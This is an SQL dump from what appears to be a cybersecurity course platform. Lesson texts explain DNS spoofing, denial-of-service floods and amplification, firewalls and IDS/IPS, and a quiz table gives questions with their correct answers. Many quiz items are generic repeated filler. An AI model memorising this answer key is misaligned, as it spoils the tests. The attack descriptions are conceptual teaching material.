(1035, 822, '# DNS Spoofing & Hijacking\n\nIf ARP Spoofing redirects traffic based on physical MAC addresses, DNS Spoofing redirects traffic based on human-readable domain names. \n\nThe Domain Name System (DNS) translates a website name like `bank.com` into the server\'s IP address (e.g., `192.0.2.50`). If an attacker can manipulate this translation process, they control where the user goes.\n\n## Local DNS Spoofing (via MITM)\nThis is usually the next step after an attacker has successfully executed an ARP Spoofing Man-in-the-Middle attack.\n\n1.  The victim types `www.bank.com` into their browser.\n2.  The victim\'s computer sends a DNS Query asking for the IP of `bank.com`.\n3.  Because the attacker is actively performing a MITM attack via ARP Spoofing, that DNS Query flows through the attacker\'s machine.\n4.  The attacker intercepts the query and sends a fake DNS Reply back to the victim, claiming that `bank.com` is located at the Attacker\'s IP address (e.g., `10.0.0.66`).\n5.  The victim\'s browser connects to the Attacker\'s web server, which is hosting a perfect, pixel-for-pixel fake clone of the bank\'s login page. \n\nThe victim sees `www.bank.com` in the URL bar, but they are secretly typing their credentials into the attacker\'s database.\n\n## DNS Cache Poisoning (Server-Side)\nThis is a much larger scale attack. Instead of attacking a single victim, the attacker targets a recursive DNS server (like the one operated by your ISP, or even a public one like Google\'s `8.8.8.8`).\n\nThe attacker exploits vulnerabilities in the DNS server software (like BIND) to inject fake records into the server\'s cache.\nIf successful, *everyone* who relies on that DNS server will be redirected to the malicious site when they try to visit `bank.com`. This affects thousands or millions of users simultaneously.\n\n## Defending Against DNS Attacks\nBecause classic DNS operates over unencrypted UDP Port 53, it is highly vulnerable to tampering.\n*   **DNSSEC (DNS Security Extensions):** Adds cryptographic digital signatures to DNS records. When your computer looks up `bank.com`, the true owner of `bank.com` signs the response with a private key. Your computer verifies the signature with a public key. If an attacker modifies the IP address in transit, the signature breaks, and your computer drops the fake response.\n*   **DoH / DoT (DNS over HTTPS / TLS):** Encrypts the entire DNS conversation so a local MITM attacker cannot even see what domain you are querying, let alone modify the response.', 'markdown', 8, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1036, 823, '# Network Denial of Service (DoS)\n\nA Denial of Service (DoS) attack aims to make a machine or network resource unavailable to its intended users. It does not aim to steal data, but rather to disrupt operations. A Distributed Denial of Service (DDoS) attack uses a botnet (thousands of compromised computers) to execute the attack simultaneously.\n\n## Layer 4: SYN Flood\nThis attack exploits the stateful nature of the TCP 3-Way Handshake.\n\n*   The attacker sends a massive flood of **SYN** requests (Step 1) to a web server.\n*   The server replies to each with a **SYN-ACK** (Step 2) and leaves a \"half-open\" connection waiting in its memory for the final **ACK** (Step 3).\n*   The attacker intentionally *never* sends the final ACK. Sometimes they even spoof the source IP address of the initial SYN, so the server is sending the SYN-ACK to a random, offline IP.\n*   **The Result:** The web server\'s memory fills up with thousands of half-open connections. Eventually, it runs out of resources and drops legitimate new connections from real customers.\n\n## Layer 3 & 4: Amplification/Reflection Attacks\nAttackers love \"Amplification\" attacks because they act as a force multiplier. They send a tiny request and generate a massive response aimed at the victim. This relies on connectionless UDP protocols.\n\n**The Smurf Attack (ICMP):**\n1.  The attacker sends an ICMP Echo Request (Ping) to a network\'s broadcast address (e.g., `192.168.1.255`).\n2.  However, the attacker *spoofs* the source IP Address of the ping to be the Victim\'s IP address.\n3.  Every single computer on that network (maybe 200 machines) receives the ping, and all 200 simultaneously reply with an ICMP Echo Reply directed at the Victim.\n4.  One tiny packet from the attacker generated 200 packets hitting the victim.\n\n**DNS/NTP Amplification:**\n1.  The attacker sends a tiny UDP DNS Query (like \"give me all records for this domain\") to an open DNS server on the internet.\n2.  They spoof the source IP to be the Victim\'s IP.\n3.  The DNS server generates a massive response (sometimes 50x larger than the request) and blasts it at the Victim.\n4.  Using a botnet, the attacker directs thousands of open DNS servers to reflect massive chunks of traffic at the victim, saturating their internet connection completely.', 'markdown', 6, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1037, 824, '# Firewalls: The First Line of Defense\n\nA firewall is a network security device that monitors and filters incoming and outgoing network traffic based on an organization\'s previously established security policies. It acts as the barrier between a trusted internal network and an untrusted external network (like the internet).\n\n## Types of Firewalls\nFirewalls have evolved significantly over the years, moving higher up the OSI model to provide better security.\n\n### 1. Packet-Filtering Firewalls (Stateless)\n*   **Operating Layer:** Layer 3 (Network) & Layer 4 (Transport).\n*   **How it works:** It looks at each individual packet in isolation. It checks the Source IP, Destination IP, Protocol, Source Port, and Destination Port against a list of rules (Access Control Lists or ACLs).\n*   **Pros:** Extremely fast and requires very little CPU power.\n*   **Cons:** \"Stateless\" means it has no memory of the connection. If you allow traffic OUT on port 80, you also have to manually write a rule allowing traffic IN from port 80 so the website can reply. This is tedious and insecure. It also cannot look inside the packet payload, so a malicious command sent over an allowed port (like HTTP 80) will pass right through.\n\n### 2. Stateful Inspection Firewalls\n*   **Operating Layer:** Layer 3 & Layer 4 (with session tracking).\n*   **How it works:** This is the standard modern firewall. It tracks the *state* of active connections. If an internal user initiates an outbound HTTP request, the firewall remembers this \"state.\" When the web server replies, the firewall automatically allows the inbound traffic because it belongs to an established, tracked session.\n*   **Pros:** Much more secure than stateless. You only need to write rules for the *initiation* of traffic.\n*   **Cons:** Still primarily focuses on IP addresses and ports, not the actual application data.\n\n### 3. Next-Generation Firewalls (NGFW)\n*   **Operating Layer:** Up to Layer 7 (Application).\n*   **How it works:** NGFWs (like Palo Alto, Fortinet, Cisco Firepower) do everything a stateful firewall does, but they also perform **Deep Packet Inspection (DPI)**. They look *inside* the payload of the packet.\n*   **Pros:** They understand applications, not just ports. An NGFW can differentiate between a user browsing Facebook (which might be allowed) and a user trying to play a game on Facebook (which might be blocked), even though both use HTTPS on Port 443. They also include built-in antivirus, intrusion prevention, and SSL decryption capabilities.\n\n## Default Deny Posture\nThe most fundamental rule of configuring *any* firewall is **Implicit Deny** or **Default Deny**. \nThis means you must explicitly define exactly what traffic is *allowed*. If traffic does not match an explicit \"Allow\" rule, the firewall drops it by default. \n\n**Deny vs Reject:**\n*   **Drop/Deny:** The firewall silently discards the packet. The sender gets no response, making it look like the IP address doesn\'t even exist. This is best practice for internet-facing interfaces to frustrate scanners.\n*   **Reject:** The firewall discards the packet but sends a polite \"Connection Refused\" (ICMP Destination Unreachable or TCP RST) back to the sender. This is sometimes used on internal networks for easier troubleshooting.', 'markdown', 7, '2026-03-09 22:28:55', '2026-03-09 22:28:55'),
(1038, 825, '# Intrusion Detection vs. Intrusion Prevention\n\nWhile firewalls enforce policy based on *who* is talking to *who*, Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) look for malicious *behavior* or known bad *signatures* within the traffic.\n\n## Intrusion Detection System (IDS)\nAn IDS is a **passive** monitoring system. It is the security equivalent of a burglar alarm. \n\n*   **How it connects:** It is normally connected to a \"SPAN port\" or \"Mirror port\" on a network switch. The switch sends a *copy* of all network traffic to the IDS. The original traffic flows uninterrupted to its destination.\n*   **Action:** When the IDS detects a threat (e.g., an SQL injection payload inside an HTTP request), it generates an alert and sends it to the SIEM for the SOC team to review.\n*   **Pros:** Because it sits out-of-band (analyzing a copy), an IDS can never accidentally block legitimate traffic (no false positive blocks). If the IDS crashes, network traffic continues to flow normally.\n*   **Cons:** It cannot stop an attack. It only alerts you that an attack is currently happening or has already succeeded. The attack traffic still reaches the target server.\n\n## Intrusion Prevention System (IPS)\nAn IPS is an **active** defense system. It is the security equivalent of an armed guard at the door.\n\n*   **How it connects:** It is deployed **in-line** with the traffic. All traffic *must* physically flow through the IPS device before reaching the internal network or servers.\n*   **Action:** When the IPS detects a threat, it doesn\'t just generate an alert; it actively **drops the malicious packets**, resets the TCP connection, and blocks the attacker\'s IP address in real-time.\n*   **Pros:** It actually stops attacks before they reach the vulnerable server.\n*   **Cons:** Because it sits in-line, a false positive is disastrous. If the IPS mistakes a legitimate customer uploading a legitimate document for a malware attack, it drops the connection, causing a business outage. Furthermore, if an in-line IPS crashes, all network traffic stops unless it fails \"open\" (which brings its own security risks).\n\n## Detection Methods\nBoth IDS and IPS use two primary methods to find evil:\n\n1.  **Signature-Based:** Works exactly like traditional antivirus. It looks for a specific string of bytes (a signature) known to belong to a specific threat, like the \"EternalBlue\" exploit. It is highly accurate but cannot detect brand new, never-before-seen (Zero-Day) attacks because no signature exists yet.\n2.  **Anomaly/Behavior-Based:** Uses machine learning and statistical baselines to learn what \"normal\" network traffic looks like over several weeks. If suddenly the database server starts downloading 50GB of data at 3 AM (which it has never done before), the system flags it as anomalous. This *can* catch Zero-Day attacks, but suffers from a much higher rate of False Positives because networks are inherently unpredictable.', 'markdown', 7, '2026-03-09 22:28:55', '2026-03-09 22:28:55');

-- --------------------------------------------------------

--
-- Table structure for table `lesson_questions`
--

CREATE TABLE `lesson_questions` (
  `id` int(11) NOT NULL,
  `task_id` int(11) NOT NULL,
  `question_text` text NOT NULL,
  `question_order` int(11) NOT NULL,
  `correct_answer` text NOT NULL,
  `case_sensitive` tinyint(1) DEFAULT 0,
  `hint` text DEFAULT NULL,
  `created_at` timestamp NULL DEFAULT current_timestamp(),
  `options` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL
) ;

--
-- Dumping data for table `lesson_questions`
--

INSERT INTO `lesson_questions` (`id`, `task_id`, `question_text`, `question_order`, `correct_answer`, `case_sensitive`, `hint`, `created_at`, `options`) VALUES
(4164, 1, 'Which component of the CIA Triad ensures that data has not been tampered with?', 1, 'Integrity', 0, 'Think about accuracy and trustworthiness.', '2025-12-26 14:39:59', '[\"Confidentiality\", \"Integrity\", \"Availability\", \"Authorization\"]'),
(4165, 1, 'What is the primary goal of a Phishing attack?', 2, 'To trick users into revealing information', 0, 'It often involves fraudulent emails.', '2025-12-26 14:39:59', '[\"To encrypt hard drives\", \"To slow down the network\", \"To trick users into revealing information\", \"To physically damage hardware\"]'),
(4166, 1, 'Who is considered the \"first line of defense\" in a security team?', 3, 'SOC Analyst', 0, 'They monitor alerts and logs daily.', '2025-12-26 14:39:59', '[\"CISO\", \"SOC Analyst\", \"HR Manager\", \"External Auditors\"]'),
(4167, 2, 'What is the first step in response?', 1, 'Detection', 0, 'Finding it', '2025-12-26 14:39:59', '[\"Panic\", \"Shutdown\", \"Detection\", \"Ignoring\"]'),
(4168, 2, 'Who is the primary adversary?', 2, 'Threat actor', 0, 'Malicious user', '2025-12-26 14:39:59', '[\"Threat actor\", \"Manager\", \"System admin\", \"Regular user\"]'),
(4169, 2, 'What is the priority level?', 3, 'High priority', 0, 'Urgency level', '2025-12-26 14:39:59', '[\"No priority\", \"Optional\", \"Low priority\", \"High priority\"]'),
(4170, 3, 'What is the main output?', 1, 'Log data', 0, 'Event records', '2025-12-26 14:39:59', '[\"Log data\", \"Video streams\", \"Music files\", \"Printer ink\"]'),
(4171, 3, 'When to escalate?', 2, 'Confirmed threat', 0, 'Real danger', '2025-12-26 14:39:59', '[\"Confirmed threat\", \"False alarm\", \"User login\", \"Minor bug\"]'),
(4172, 3, 'What is the priority level?', 3, 'High priority', 0, 'Urgency level', '2025-12-26 14:39:59', '[\"High priority\", \"Low priority\", \"Optional\", \"No priority\"]'),
(4173, 4, 'What is the defensive goal?', 1, 'Protection', 0, 'Safety', '2025-12-26 14:39:59', '[\"Deleting\", \"Protection\", \"Exposure\", \"Sharing\"]'),
(4174, 4, 'What is the first step in response?', 2, 'Detection', 0, 'Finding it', '2025-12-26 14:39:59', '[\"Panic\", \"Ignoring\", \"Shutdown\", \"Detection\"]'),
(4175, 4, 'What tool category is this?', 3, 'Security tool', 0, 'Software type', '2025-12-26 14:39:59', '[\"Game engine\", \"Music player\", \"Security tool\", \"Office tool\"]'),
(4176, 5, 'Who is the primary adversary?', 1, 'Threat actor', 0, 'Malicious user', '2025-12-26 14:39:59', '[\"Threat actor\", \"System admin\", \"Manager\", \"Regular user\"]'),
(4177, 5, 'What is the main output?', 2, 'Log data', 0, 'Event records', '2025-12-26 14:39:59', '[\"Printer ink\", \"Music files\", \"Video streams\", \"Log data\"]'),
(4178, 5, 'What should you analyze first?', 3, 'Context', 0, 'The situation', '2025-12-26 14:39:59', '[\"Weather\", \"Lunch menu\", \"Sports scores\", \"Context\"]'),
(4179, 6, 'What is the primary goal of this concept?', 1, 'Risk reduction', 0, 'Lowers danger', '2025-12-26 14:39:59', '[\"Risk reduction\", \"Data deletion\", \"Cost increase\", \"System slowdown\"]'),
(4180, 6, 'What should you analyze first?', 2, 'Context', 0, 'The situation', '2025-12-26 14:39:59', '[\"Context\", \"Sports scores\", \"Weather\", \"Lunch menu\"]'),
(4181, 6, 'When to escalate?', 3, 'Confirmed threat', 0, 'Real danger', '2025-12-26 14:39:59', '[\"False alarm\", \"Confirmed threat\", \"User login\", \"Minor bug\"]'),
(4182, 7, 'What tool category is this?', 1, 'Security tool', 0, 'Software type', '2025-12-26 14:39:59', '[\"Office tool\", \"Music player\", \"Game engine\", \"Security tool\"]'),
(4183, 7, 'What is the primary goal of this concept?', 2, 'Risk reduction', 0, 'Lowers danger', '2025-12-26 14:39:59', '[\"Risk reduction\", \"Data deletion\", \"Cost increase\", \"System slowdown\"]'),
(4184, 7, 'Which team handles these incidents?', 3, 'SOC team', 0, 'Security Operations', '2025-12-26 14:39:59', '[\"HR Department\", \"SOC team\", \"Marketing\", \"Sales Team\"]'),
(4185, 8, 'What is the main output?', 1, 'Log data', 0, 'Event records', '2025-12-26 14:39:59', '[\"Log data\", \"Music files\", \"Printer ink\", \"Video streams\"]'),
(4186, 8, 'What is the first step in response?', 2, 'Detection', 0, 'Finding it', '2025-12-26 14:39:59', '[\"Ignoring\", \"Panic\", \"Detection\", \"Shutdown\"]'),
(4187, 8, 'What is the primary goal of this concept?', 3, 'Risk reduction', 0, 'Lowers danger', '2025-12-26 14:39:59', '[\"Cost increase\", \"System slowdown\", \"Data deletion\", \"Risk reduction\"]'),
(4188, 9, 'What tool category is this?', 1, 'Security tool', 0, 'Software type', '2025-12-26 14:39:59', '[\"Office tool\", \"Security tool\", \"Music player\", \"Game engine\"]'),
(4189, 9, 'What should you analyze first?', 2, 'Context', 0, 'The situation', '2025-12-26 14:39:59', '[\"Weather\", \"Context\", \"Lunch menu\", \"Sports scores\"]'),
(4190, 9, 'Who is the primary adversary?', 3, 'Threat actor', 0, 'Malicious user', '2025-12-26 14:39:59', '[\"Threat actor\", \"System admin\", \"Manager\", \"Regular user\"]'),
(4191, 10, 'What should you analyze first?', 1, 'Context', 0, 'The situation', '2025-12-26 14:39:59', '[\"Weather\", \"Sports scores\", \"Lunch menu\", \"Context\"]'),
(4192, 10, 'Which team handles these incidents?', 2, 'SOC team', 0, 'Security Operations', '2025-12-26 14:39:59', '[\"Marketing\", \"SOC team\", \"Sales Team\", \"HR Department\"]'),
(4193, 10, 'Who is the primary adversary?', 3, 'Threat actor', 0, 'Malicious user', '2025-12-26 14:39:59', '[\"System admin\", \"Threat actor\", \"Regular user\", \"Manager\"]'),
(4194, 11, 'What is the main output?', 1, 'Log data', 0, 'Event records', '2025-12-26 14:39:59', '[\"Video streams\", \"Log data\", \"Printer ink\", \"Music files\"]'),
(4195, 11, 'What is the first step in response?', 2, 'Detection', 0, 'Finding it', '2025-12-26 14:39:59', '[\"Shutdown\", \"Detection\", \"Panic\", \"Ignoring\"]'),
(4196, 11, 'When to escalate?', 3, 'Confirmed threat', 0, 'Real danger', '2025-12-26 14:39:59', '[\"User login\", \"False alarm\", \"Confirmed threat\", \"Minor bug\"]'),
(4197, 12, 'What is the primary goal of this concept?', 1, 'Risk reduction', 0, 'Lowers danger', '2025-12-26 14:39:59', '[\"Cost increase\", \"System slowdown\", \"Risk reduction\", \"Data deletion\"]'),
(4198, 12, 'When to escalate?', 2, 'Confirmed threat', 0, 'Real danger', '2025-12-26 14:39:59', '[\"Minor bug\", \"Confirmed threat\", \"User login\", \"False alarm\"]'),
(4199, 12, 'What is the defensive goal?', 3, 'Protection', 0, 'Safety', '2025-12-26 14:39:59', '[\"Exposure\", \"Deleting\", \"Protection\", \"Sharing\"]'),
(5264, 32, 'What is the standard system drive letter?', 1, 'C:', 0, 'Primary Windows drive', '2025-12-26 20:49:49', '[\"A:\", \"B:\", \"C:\", \"D:\"]'),
(5265, 32, 'Which file system is modern and supports permissions?', 2, 'NTFS', 0, 'Permissions supported', '2025-12-26 20:49:49', '[\"FAT32\", \"NTFS\", \"exFAT\", \"HFS+\"]'),
(5266, 32, 'What is the max file size for FAT32?', 3, '4 GB', 0, 'Size limit', '2025-12-26 20:49:49', '[\"2 GB\", \"4 GB\", \"8 GB\", \"Unlimited\"]'),
(5267, 33, 'What does UAC stand for?', 1, 'User Account Control', 0, 'Permission system', '2025-12-26 20:49:49', '[\"User Access Control\", \"User Account Control\", \"Unified Access Center\", \"Universal App Control\"]'),
(5268, 33, 'Which color shield indicates a trusted app?', 2, 'Blue', 0, 'Signed application', '2025-12-26 20:49:49', '[\"Red\", \"Yellow\", \"Blue\", \"Green\"]'),
(5269, 33, 'Which UAC level is the most secure?', 3, 'Always Notify', 0, 'Maximum protection', '2025-12-26 20:49:49', '[\"Always Notify\", \"Notify me only when apps try to make changes\", \"Notify me (do not dim my desktop)\", \"Never Notify\"]'),
(5270, 34, 'Which hive stores system-wide settings?', 1, 'HKLM', 0, 'LOCAL_MACHINE', '2025-12-26 20:49:49', '[\"HKCU\", \"HKLM\", \"HKU\", \"HKCR\"]'),
(5271, 34, 'What is the GUI tool for editing the registry?', 2, 'regedit', 0, 'Graphical editor', '2025-12-26 20:49:49', '[\"cmd\", \"regedit\", \"taskmgr\", \"msconfig\"]'),
(5272, 34, 'Which data type is used for text strings?', 3, 'REG_SZ', 0, 'String Value', '2025-12-26 20:49:49', '[\"REG_DWORD\", \"REG_BINARY\", \"REG_SZ\", \"REG_MULTI_SZ\"]'),
(5273, 35, 'What does AD stand for?', 1, 'Active Directory', 0, 'Directory service', '2025-12-26 20:49:49', '[\"Advanced Directory\", \"Active Directory\", \"Access Domain\", \"Admin Domain\"]'),
(5274, 35, 'Which server role authenticates users in AD?', 2, 'Domain Controller', 0, 'Runs AD DS', '2025-12-26 20:49:49', '[\"File Server\", \"Web Server\", \"Domain Controller\", \"DNS Server\"]'),
(5275, 35, 'What is the primary authentication protocol in AD?', 3, 'Kerberos', 0, 'Ticket-based', '2025-12-26 20:49:49', '[\"NTLM\", \"Kerberos\", \"Radius\", \"LDAP\"]'),
(5276, 36, 'What is the naming format for PowerShell cmdlets?', 1, 'Verb-Noun', 0, 'Action-Target', '2025-12-26 20:49:49', '[\"Verb-Noun\", \"Noun-Verb\", \"Action-Object\", \"Subject-Predicate\"]'),
(5277, 36, 'Which cmdlet lists running processes?', 2, 'Get-Process', 0, 'Usage: Get-Process', '2025-12-26 20:49:49', '[\"list-proc\", \"Get-Process\", \"Show-Tasks\", \"ps-list\"]'),
(5278, 36, 'What is the file extension for PowerShell scripts?', 3, '.ps1', 0, 'PowerShell 1', '2025-12-26 20:49:49', '[\".bat\", \".sh\", \".ps1\", \".exe\"]'),
(5279, 37, 'Which event ID indicates a successful logon?', 1, '4624', 0, 'Security Success', '2025-12-26 20:49:49', '[\"4625\", \"4624\", \"4672\", \"1074\"]'),
(5280, 37, 'Which event ID indicates a failed logon?', 2, '4625', 0, 'Security Failure', '2025-12-26 20:49:49', '[\"4624\", \"4625\", \"4768\", \"7045\"]'),
(5281, 37, 'Which log records login attempts?', 3, 'Security', 0, 'Auth events', '2025-12-26 20:49:49', '[\"System\", \"Application\", \"Security\", \"Setup\"]'),
(5282, 38, 'What does GPO stand for?', 1, 'Group Policy Object', 0, 'Config object', '2025-12-26 20:49:49', '[\"General Policy Option\", \"Group Policy Object\", \"Global Permission Order\", \"Group Permission Object\"]'),
(5283, 38, 'Which command forces a GP update?', 2, 'gpupdate /force', 0, 'Refresh command', '2025-12-26 20:49:49', '[\"gpupdate /force\", \"gprefresh\", \"update-policy\", \"gpreload\"]'),
(5284, 38, 'What is the order of GPO application?', 3, 'LSDOU', 0, 'Local, Site, Domain, OU', '2025-12-26 20:49:49', '[\"DSOUL\", \"LSDOU\", \"OUDSC\", \"SLDOU\"]'),
(5285, 39, 'Which built-in tool provides real-time virus protection?', 1, 'Windows Defender', 0, 'Antivirus', '2025-12-26 20:49:49', '[\"Windows Firewall\", \"Windows Defender\", \"BitLocker\", \"SmartScreen\"]'),
(5286, 39, 'Which Sysinternals tool is an advanced Task Manager?', 2, 'Process Explorer', 0, 'Process info', '2025-12-26 20:49:49', '[\"Process Monitor\", \"Autoruns\", \"Process Explorer\", \"PsExec\"]'),
(5287, 39, 'Which tool provides full disk encryption?', 3, 'BitLocker', 0, 'Disk security', '2025-12-26 20:49:49', '[\"SecureBoot\", \"BitLocker\", \"EFS\", \"Vault\"]'),
(5339, 22, 'Which layer is responsible for logical addressing (IPs)?', 1, 'Network', 0, 'Layer 3', '2025-12-26 20:53:36', '[\"Data Link\", \"Network\", \"Transport\", \"Session\"]'),
(5340, 22, 'What is the PDU of Layer 4 (Transport)?', 2, 'Segments', 0, 'TCP Data unit', '2025-12-26 20:53:36', '[\"Bits\", \"Frames\", \"Packets\", \"Segments\"]'),
(5341, 22, 'Which layer handles encryption and compression?', 3, 'Presentation', 0, 'Layer 6', '2025-12-26 20:53:36', '[\"Application\", \"Presentation\", \"Session\", \"Transport\"]'),
(5342, 23, 'Which protocol uses a 3-way handshake?', 1, 'TCP', 0, 'Connection-oriented', '2025-12-26 20:53:36', '[\"UDP\", \"IP\", \"TCP\", \"ICMP\"]'),
(5343, 23, 'Why is UDP used for video streaming?', 2, 'Speed', 0, 'Low overhead', '2025-12-26 20:53:36', '[\"Reliability\", \"Encryption\", \"Speed\", \"Guaranteed Delivery\"]'),
(5344, 23, 'Which TCP/IP layer corresponds to OSI Layer 3 (Network)?', 3, 'Internet', 0, 'IP Layer', '2025-12-26 20:53:36', '[\"Network Access\", \"Internet\", \"Transport\", \"Application\"]'),
(5345, 24, 'Which IP address is a private Class C address?', 1, '192.168.1.10', 0, 'Home router default', '2025-12-26 20:53:36', '[\"8.8.8.8\", \"172.16.0.1\", \"192.168.1.10\", \"10.0.0.5\"]'),
(5346, 24, 'How many bits are in an IPv4 address?', 2, '32', 0, 'Binary count', '2025-12-26 20:53:36', '[\"128\", \"64\", \"32\", \"16\"]'),
(5347, 24, 'What allows private IPs to access the internet?', 3, 'NAT', 0, 'Translation', '2025-12-26 20:53:36', '[\"DHCP\", \"DNS\", \"NAT\", \"ARP\"]'),
(5348, 25, 'What is the CIDR notation for 255.255.255.0?', 1, '/24', 0, 'Count the bits', '2025-12-26 20:53:36', '[\"/8\", \"/16\", \"/24\", \"/32\"]'),
(5349, 25, 'How many usable hosts are in a /24 network?', 2, '254', 0, '256 minus 2', '2025-12-26 20:53:36', '[\"256\", \"255\", \"254\", \"250\"]'),
(5350, 25, 'The first address in a subnet is used for what?', 3, 'Network ID', 0, 'Identification', '2025-12-26 20:53:36', '[\"Broadcast\", \"Gateway\", \"Network ID\", \"DNS\"]'),
(5351, 26, 'Which record maps a name to an IPv4 address?', 1, 'A', 0, 'Address', '2025-12-26 20:53:36', '[\"AAAA\", \"CNAME\", \"A\", \"MX\"]'),
(5352, 26, 'Which record is used for email server delivery?', 2, 'MX', 0, 'Mail Exchange', '2025-12-26 20:53:36', '[\"TXT\", \"PTR\", \"MX\", \"NS\"]'),
(5353, 26, 'What translates domain names to IPs?', 3, 'DNS', 0, 'System name', '2025-12-26 20:53:36', '[\"DHCP\", \"ARP\", \"DNS\", \"NAT\"]'),
(5354, 27, 'What is the first step in the DHCP process?', 1, 'Discover', 0, 'Looking for server', '2025-12-26 20:53:36', '[\"Offer\", \"Request\", \"Discover\", \"Acknowledge\"]'),
(5355, 27, 'What does ARP resolution map?', 2, 'IP to MAC', 0, 'Logical to Physical', '2025-12-26 20:53:36', '[\"MAC to IP\", \"IP to MAC\", \"URL to IP\", \"Port to Protocol\"]'),
(5356, 27, 'What attack relies on faking ARP replies?', 3, 'ARP Spoofing', 0, 'MITM', '2025-12-26 20:53:36', '[\"DNS Poisoning\", \"ARP Spoofing\", \"DDoS\", \"Phishing\"]'),
(5357, 28, 'Which port is used for Secure Shell (SSH)?', 1, '22', 0, 'Encrypted CLI', '2025-12-26 20:53:36', '[\"21\", \"22\", \"23\", \"25\"]'),
(5358, 28, 'Which protocol is UNSAFE for remote administration?', 2, 'Telnet', 0, 'Cleartext', '2025-12-26 20:53:36', '[\"SSH\", \"RDP\", \"HTTPS\", \"Telnet\"]'),
(5359, 28, 'Port 445 is associated with which service?', 3, 'SMB', 0, 'Windows Sharing', '2025-12-26 20:53:36', '[\"FTP\", \"SMB\", \"DNS\", \"HTTP\"]'),
(5363, 30, 'What protocol exposed the password?', 1, 'HTTP', 0, 'Unsecure', '2025-12-26 20:53:36', '[\"HTTPS\", \"SSH\", \"SFTP\", \"HTTP\"]'),
(5364, 30, 'What was the stolen password in the scenario?', 2, 'SuperSecret123', 0, 'Plaintext', '2025-12-26 20:53:36', '[\"admin\", \"password\", \"123456\", \"SuperSecret123\"]'),
(5365, 30, 'How should this login be secured?', 3, 'Use HTTPS', 0, 'Encryption', '2025-12-26 20:53:36', '[\"Use Telnet\", \"Use HTTPS\", \"Change Port\", \"Use UDP\"]'),
(5366, 31, 'Which device connects different networks (Layer 3)?', 1, 'Router', 0, 'Routing decisions', '2025-12-26 20:53:36', '[\"Switch\", \"Hub\", \"Router\", \"Bridge\"]'),
(5367, 31, 'What is the loopback address for localhost?', 2, '127.0.0.1', 0, 'Home', '2025-12-26 20:53:36', '[\"192.168.1.1\", \"0.0.0.0\", \"127.0.0.1\", \"10.0.0.1\"]'),
(5368, 31, 'Which command typically checks connectivity?', 3, 'ping', 0, 'ICMP Echo', '2025-12-26 20:53:36', '[\"ipconfig\", \"ping\", \"netstat\", \"nslookup\"]'),
(5369, 31, 'What is the subnet mask for a /24 network?', 4, '255.255.255.0', 0, 'Class C default', '2025-12-26 20:53:36', '[\"255.0.0.0\", \"255.255.0.0\", \"255.255.255.0\", \"255.255.255.255\"]'),
(5370, 31, 'Which port is used by HTTP?', 5, '80', 0, 'Unencrypted Web', '2025-12-26 20:53:36', '[\"21\", \"80\", \"443\", \"25\"]'),
(5371, 31, 'Which port is used by HTTPS?', 6, '443', 0, 'Encrypted Web', '2025-12-26 20:53:36', '[\"80\", \"8080\", \"443\", \"8443\"]'),
(5372, 31, 'Which port is used by DNS?', 7, '53', 0, 'Name Resolution', '2025-12-26 20:53:36', '[\"23\", \"53\", \"67\", \"110\"]'),
(5373, 31, 'What is Layer 1 of the OSI Model?', 8, 'Physical', 0, 'Cables and bits', '2025-12-26 20:53:36', '[\"Application\", \"Data Link\", \"Physical\", \"Transport\"]'),
(5374, 31, 'How long is a standard MAC address?', 9, '48 bits', 0, 'Hardware address', '2025-12-26 20:53:36', '[\"32 bits\", \"48 bits\", \"64 bits\", \"128 bits\"]'),
(5375, 31, 'How long is an IPv6 address?', 10, '128 bits', 0, 'Modern IP', '2025-12-26 20:53:36', '[\"32 bits\", \"64 bits\", \"128 bits\", \"256 bits\"]'),
(5376, 31, 'Which protocol guarantees delivery of data?', 11, 'TCP', 0, 'Reliable', '2025-12-26 20:53:36', '[\"UDP\", \"IP\", \"TCP\", \"ICMP\"]'),
(5377, 31, 'What is the first step in the TCP Handshake?', 12, 'SYN', 0, 'Hello', '2025-12-26 20:53:36', '[\"ACK\", \"SYN\", \"SYN-ACK\", \"FIN\"]'),
(5378, 31, 'What is the first step in DHCP?', 13, 'Discover', 0, 'Looking for IP', '2025-12-26 20:53:36', '[\"Offer\", \"Request\", \"Acknowledge\", \"Discover\"]'),
(5379, 31, 'Which of the following is a private IP address?', 14, '192.168.1.50', 0, 'RFC 1918', '2025-12-26 20:53:36', '[\"8.8.8.8\", \"1.1.1.1\", \"172.50.1.1\", \"192.168.1.50\"]'),
(5380, 31, 'What does ARP do?', 15, 'Resolves IP to MAC', 0, 'Address Resolution', '2025-12-26 20:53:36', '[\"Resolves MAC to IP\", \"Resolves Name to IP\", \"Resolves IP to MAC\", \"Routes Packets\"]'),
(5381, 31, 'Which protocol is used for ping?', 16, 'ICMP', 0, 'Internet Control Message', '2025-12-26 20:53:36', '[\"TCP\", \"UDP\", \"ICMP\", \"ARP\"]'),
(5382, 31, 'Which Layer 2 device uses MAC addresses to forward frames?', 17, 'Switch', 0, 'Intelligent forwarding', '2025-12-26 20:53:36', '[\"Hub\", \"Router\", \"Switch\", \"Repeater\"]'),
(5383, 31, 'Which DNS record type stores IPv6 addresses?', 18, 'AAAA', 0, 'Quad A', '2025-12-26 20:53:36', '[\"A\", \"MX\", \"AAAA\", \"CNAME\"]'),
(5384, 31, 'What port does standard FTP use?', 19, '21', 0, 'File Transfer', '2025-12-26 20:53:36', '[\"20\", \"21\", \"22\", \"23\"]'),
(5385, 31, 'What is the primary purpose of Wireshark?', 20, 'Packet Capture', 0, 'Analysis', '2025-12-26 20:53:36', '[\"Password Cracking\", \"Packet Capture\", \"Virus Scanning\", \"Routing\"]'),
(5427, 40, 'What does the \"C\" in CIA stand for?', 1, 'Confidentiality', 0, 'Privacy', '2025-12-26 20:58:02', '[\"Control\", \"Confidentiality\", \"Certification\", \"Compliance\"]'),
(5428, 40, 'Which concept ensures data is not altered?', 2, 'Integrity', 0, 'Accuracy', '2025-12-26 20:58:02', '[\"Availability\", \"Integrity\", \"Confidentiality\", \"Authentication\"]'),
(5429, 40, 'A DDoS attack primarily targets which pillar?', 3, 'Availability', 0, 'Uptime', '2025-12-26 20:58:02', '[\"Integrity\", \"Confidentiality\", \"Availability\", \"Authorization\"]'),
(5430, 41, 'Which is \"Something You Are\"?', 1, 'Biometrics', 0, 'Body part', '2025-12-26 20:58:02', '[\"Password\", \"Smart Card\", \"Biometrics\", \"Location\"]'),
